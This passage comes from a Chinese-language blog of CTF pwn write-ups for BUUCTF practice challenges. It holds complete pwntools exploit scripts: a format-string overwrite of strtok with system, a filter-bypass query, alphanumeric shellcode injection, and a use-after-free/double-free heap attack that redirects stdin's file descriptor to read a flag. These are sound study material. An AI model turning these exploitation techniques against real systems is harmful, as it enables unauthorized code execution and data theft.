p.sendline("3")
sleep(0.1)
p.sendline(name)

def editPlayer(index, name):
p.sendline("4")
p.sendline(str(index))

p.sendline(name)


# Get infoleaks, calculate needed addresses

p.sendline("1")
p.sendline("%x.%x")

leak = getLeaks()

pieBase = int(leak.split(".")[0], 16) - 0x105c
libcBase = int(leak.split(".")[1], 16) - 0x1d85c0
system = libcBase + libc.symbols["system"]
strtok = pieBase + 0x2584

print "pie base is: " + hex(pieBase)
print "libc base is: " + hex(libcBase)
print "strtok: " + hex(strtok)
print "system:" + hex(system)
# Calculate the amount of bytes we need to print for the fmt string write

x = (system & 0xffff) - 8
y = ((system & 0xffff0000) >> 16) - (system & 0xffff)

# Make the fmt string
print hex(x),hex(y)
noop = p32(strtok) + p32(strtok + 2) + "%" + str(x) + "x%19$hn" + "%" + str(y) + "x%20$hn"

# Add two new players
filler = "0"*12

for i in range(0, 2):
addPlayer(filler)

editPlayer(1, noop[0:17])
editPlayer(2, noop[16:])

# Get our fmt string to the vulnerable printf call

p.sendline("1")
p.sendline("2")
p.sendline("100")
#gdb.attach(p)
#pause()
p.sendline("1")
p.recvrepeat(1)
p.sendline("sh")
p.interactive()

本地拿到shell了,远程怎么都打不通。。。。我吐了

66.watevr_2019_wat_sql

1
2
3
4
5
6
[*]'/home/pluto/\xe6\xa1\x8c\xe9\x9d\xa2/pwn/watevr_2019_wat_sql'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

开启了canary和NX

先通过第一个check
进入read函数,虽然这个题针对flag进行了过滤,但是
If08KZ
这里对于check_read的判断有逻辑错误,可以先read一个不存在的文件绕过过滤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

context.log_level = 'debug'

#p = process("./watevr_2019_wat_sql")
p = remote("node3.buuoj.cn",26442)
pay = "watevr-sql2019-demo-code-admin\x00\x00sey"
p.recvuntil("Demo activation code: ")
p.sendline(pay)

p.sendlineafter("Query: ", "read ")
p.sendlineafter("from: ", "/aaaaaaaaa")

# read flag
p.sendlineafter("Query: ", "read ")
p.sendlineafter("from: ", "flag")
p.sendlineafter("read: ", "0")
print p.recv()
p.interactive()

67.mrctf2020_shellcode_revenge

查看保护,开启了PIE和RELRO

1
2
3
4
5
6
7
8
➜  pwn checksec mrctf2020_shellcode_revenge 
[*] '/home/\xe6\xa1\x8c\xe9\x9d\xa2/pwn/mrctf2020_shellcode_revenge'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments

代码在IDA中无法F5,我使用Ghidra进行反汇编
GHvKML

程序逻辑很好判断,输入1024字节的数据,然后对每一个字节进行判断,如果不在ASCI 48-90或97-122之间就会结束程序,否则最后会执行输入的数据,这个题相当于就是加了限制条件的shellcode编写。

这里我使用一个工具

生成shellcode

1
2
3
4
5
6
from pwn import *
context.arch='amd64'
f = open("shellcode.bin","w")
sh = asm(shellcraft.sh())
f.write(sh)
f.close()

生成处理后的shellcode

1
python ALPHA3.py x64 ascii mixedcase rax --input="shell.bin" > out.bin

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#-*- coding: utf-8 -*-
from pwn import *

context.log_level = 'debug'

p = remote('node3.buuoj.cn',26213)
#p = process("./mrctf2020_shellcode_revenge")


payload = 'Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t'

p.recvuntil("Show me your magic!\n")
#gdb.attach(p)
#pause()
p.send(payload)
#pause()
p.interactive()

68.mrctf2020_shellcode

6t4dxu

和上个题很像,比上一个题简单

1
2
3
4
5
6
7
8
9
10
11
12
#-*- coding: utf-8 -*-
from pwn import *
context.arch='amd64'
context.log_level = 'debug'

p = remote('node3.buuoj.cn',29306)

payload = asm(shellcraft.sh())

p.recvuntil("Show me your magic!\n")
p.send(payload)
p.interactive()

69.ciscn_2019_final_2

64位下 保护全开

1
2
3
4
5
6
7
$ checksec ciscn_final_2      
[*] '/home/pluto/\xe6\xa1\x8c\xe9\x9d\xa2/pwn/ciscn_final_2'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

一个菜单题但是开了沙箱保护,无法执行execve

iVYghu

init中读取了flag
DhLNx0

并将flag的文件描述符保存在666中
1ccIH3

漏洞点在delete函数中,没有对free的指针清零,所以存在UAF漏洞以及double free漏洞

hYM8nD

所以这个题就是一个UAF加IO File的利用,flag在666的文件描述符中,通过将stdin的文件描述符从0改为666,这样调用scanf时就会从666文件描述符中读取数据,就会读入flag

r7lW6h

leak libc

首先还是要泄漏出libc地址,因为存在UAF,所以思路就是填满对应的tcache后,释放一个大于0x80的堆块,将这个堆块加入unsorted bin,然后show泄漏出libc地址。

但是这个题只能创建0x20 0x30大小的堆块,所以需要通过double free构造出堆重叠

leak chunk addr

1
2
3
4
5
6
7
8
9
10
11
12
13
add(1,1)
dele(1)
add(2,1)
add(2,1)
add(2,1)
add(2,1)
dele(2)
add(1,1)
dele(2)
show(2)
p.recvuntil("number :")
chunk_addr = p.recvuntil("\n",True) # leak chunk addr
chunk_addr = int(chunk_addr,10)&0xffff

将第一个add(1,1)的堆块大小改为0x90

1
2
3
add(2,chunk_addr-0xa0)
add(2,chunk_addr-0xa0)
add(2,0x91)

填满0x90的chunk,并leak libc

1
2
3
4
5
6
7
8
for i in range(7):
dele(1)
add(2,0x21)
dele(1)
show(1)
p.recvuntil("number :")
fileno = (int(p.recvuntil('\n',True),10)&0xffffffff)-96-0x1d8
success("[*]fileno addr: "+str(hex(fileno)))

修改fileno

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
add(1,fileno)
add(1,0x30)
dele(1)
add(2,0x20)
dele(1)
show(1)
p.recvuntil("number :")
chunk_addr = p.recvuntil("\n",True) # leak chunk addr
chunk_addr = int(chunk_addr,10)&0xffffffff
add(1,chunk_addr-0x30)
add(1,chunk_addr-0x30)
add(1,chunk_addr-0x30)
add(1,666)

p.sendlineafter('which command?\n> ', '4')
p.recvuntil('your message :')
print p.recv()
#gdb.attach(p)
#pause()
p.interactive()

EXP :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#coding=utf8
from pwn import *
context.log_level = "debug"

p = remote("node3.buuoj.cn", 27128)
#p = process("ciscn_final_2")
lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")



def add(typee,num):
p.sendlineafter("which command?\n",'1')
p.recvuntil("2: short int\n")
p.sendline(str(typee))
p.sendlineafter("your inode number:",str(num))

def dele(typee):
p.sendlineafter("which command?\n",'2')
p.recvuntil("2: short int\n")
p.sendline(str(typee))

def show(typee):
p.sendlineafter("which command?\n",'3')
p.recvuntil(">")
p.sendline(str(typee))

add(1,1)
dele(1)
add(2,1)
add(2,1)
add(2,1)
add(2,1)
dele(2)
add(1,1)
dele(2)
show(2)
p.recvuntil("number :")
chunk_addr = p.recvuntil("\n",True) # leak chunk addr
chunk_addr = int(chunk_addr,10)&0xffff

add(2,chunk_addr-0xa0)
add(2,chunk_addr-0xa0)
add(2,0x91)

for i in range(7):
dele(1)
add(2,0x21)
dele(1)
show(1)
p.recvuntil("number :")
fileno = (int(p.recvuntil('\n',True),10)&0xffffffff)-96-0x1d8
success("[*]fileno addr: "+str(hex(fileno)))
add(1,fileno)
add(1,0x30)
dele(1)
add(2,0x20)
dele(1)
show(1)
p.recvuntil("number :")
chunk_addr = p.recvuntil("\n",True) # leak chunk addr
chunk_addr = int(chunk_addr,10)&0xffffffff
add(1,chunk_addr-0x30)
add(1,chunk_addr-0x30)
add(1,chunk_addr-0x30)
add(1,666)

p.sendlineafter('which command?\n> ', '4')
p.recvuntil('your message :')
print p.recv()
#gdb.attach(p)
#pause()
p.interactive()

CATALOG
  1. 1. 1.test_your_nc
  2. 2. 2.rip
  3. 3. 3.warmup_csaw_2016
  4. 4. 4.pwn1_sctf_2016
  5. 5. 5.ciscn_2019_n_1
  6. 6. 6.ciscn_2019_c_1
  7. 7. 7.ciscn_2019_en_2
  8. 8. 8.get_started_3dsctf_2016
  9. 9. 9.[第五空间2019 决赛]PWN5
  10. 10. 10.babyheap
  11. 11. 11.[HarekazeCTF2019]baby_rop
  12. 12. 12.jarvisoj_level0
  13. 13. 13.ciscn_2019_s_3
  14. 14. 14.jarvisoj_level2
  15. 15. 15.[HarekazeCTF2019]baby_rop2
  16. 16. 16.ciscn_2019_ne_5
  17. 17. 17.ez_pz_hackover_2016
  18. 18. 18.ciscn_2019_n_5
  19. 19. 19.[Black Watch 入群题]PWN
  20. 20. 20.ciscn_2019_es_2
  21. 21. 21.bjdctf_2020_babystack
  22. 22. 22.jarvisoj_tell_me_something
  23. 23. 23.jarvisoj_level3
  24. 24. 24.铁人三项(第五赛区)_2018_rop
  25. 25. 25.jarvisoj_fm
  26. 26. 26.jarvisoj_level4
  27. 27. 27.jarvisoj_level3_x64
  28. 28. 28.roarctf_2019_easy_pwn
  29. 29. 29.ciscn_2019_final_3
  30. 30. 30.bjdctf_2020_babyrop
  31. 31. 31.others_shellcode
  32. 32. 32.ciscn_2019_n_3
  33. 33. 33.jarvisoj_level1
  34. 34. 34.jarvisoj_test_your_memory
  35. 35. 35.[ZJCTF 2019]Login
  36. 36. 36.hitcontraining_uaf
  37. 37. 37.gyctf_2020_borrowstack
  38. 38. 38.cmcc_simplerop
  39. 39. 39.axb_2019_fmt32
  40. 40. 40.[ZJCTF 2019]EasyHeap
    1. 40.1. unlink
    2. 40.2. fastbin attack
  41. 41. 41.bbys_tu_2016
  42. 42. 42.ciscn_2019_es_7
  43. 43. 43.xdctf2015_pwn200
  44. 44. 44.[BJDCTF 2nd]r2t3
  45. 45. 45.[BJDCTF 2nd]one_gadget
  46. 46. 46.[BJDCTF 2nd]ydsneedgirlfriend2
  47. 47. 47.[BJDCTF 2nd]r2t4
  48. 48. 48.test
  49. 49. 49.bjdctf_2020_babystack2
  50. 50. 50.bjdctf_2020_router
  51. 51. 51.[V&N2020 公开赛]simpleHeap
  52. 52. 52.vn_pwn_warmup
  53. 53. 53.pwnable_orw
    1. 53.1. EXP1
    2. 53.2. EXP2:
  54. 54. 54.bjdctf_2020_babyrop2
  55. 55. 55.hctf2016_fheap
  56. 56. 56.whctf2017_note_sys
  57. 57. 57.whctf2017_easypwn
  58. 58. 58.pwnable_tlsv00
  59. 59. 59.shanghai2019_login
    1. 59.1. EXP1:
  60. 60. 60.安洵杯_2018_hiahia
  61. 61. 61.安洵杯_2018_neko
  62. 62. 62.hwb2018_huwang
  63. 63. 63.wdb_2018_2nd_memffle
  64. 64. 64.pwnable_hacknote
  65. 65. 65.watevr_2019_betstar_5000
  66. 66. 66.watevr_2019_wat_sql
  67. 67. 67.mrctf2020_shellcode_revenge
  68. 68. 68.mrctf2020_shellcode
  69. 69. 69.ciscn_2019_final_2
    1. 69.1. leak libc
      1. 69.1.1. leak chunk addr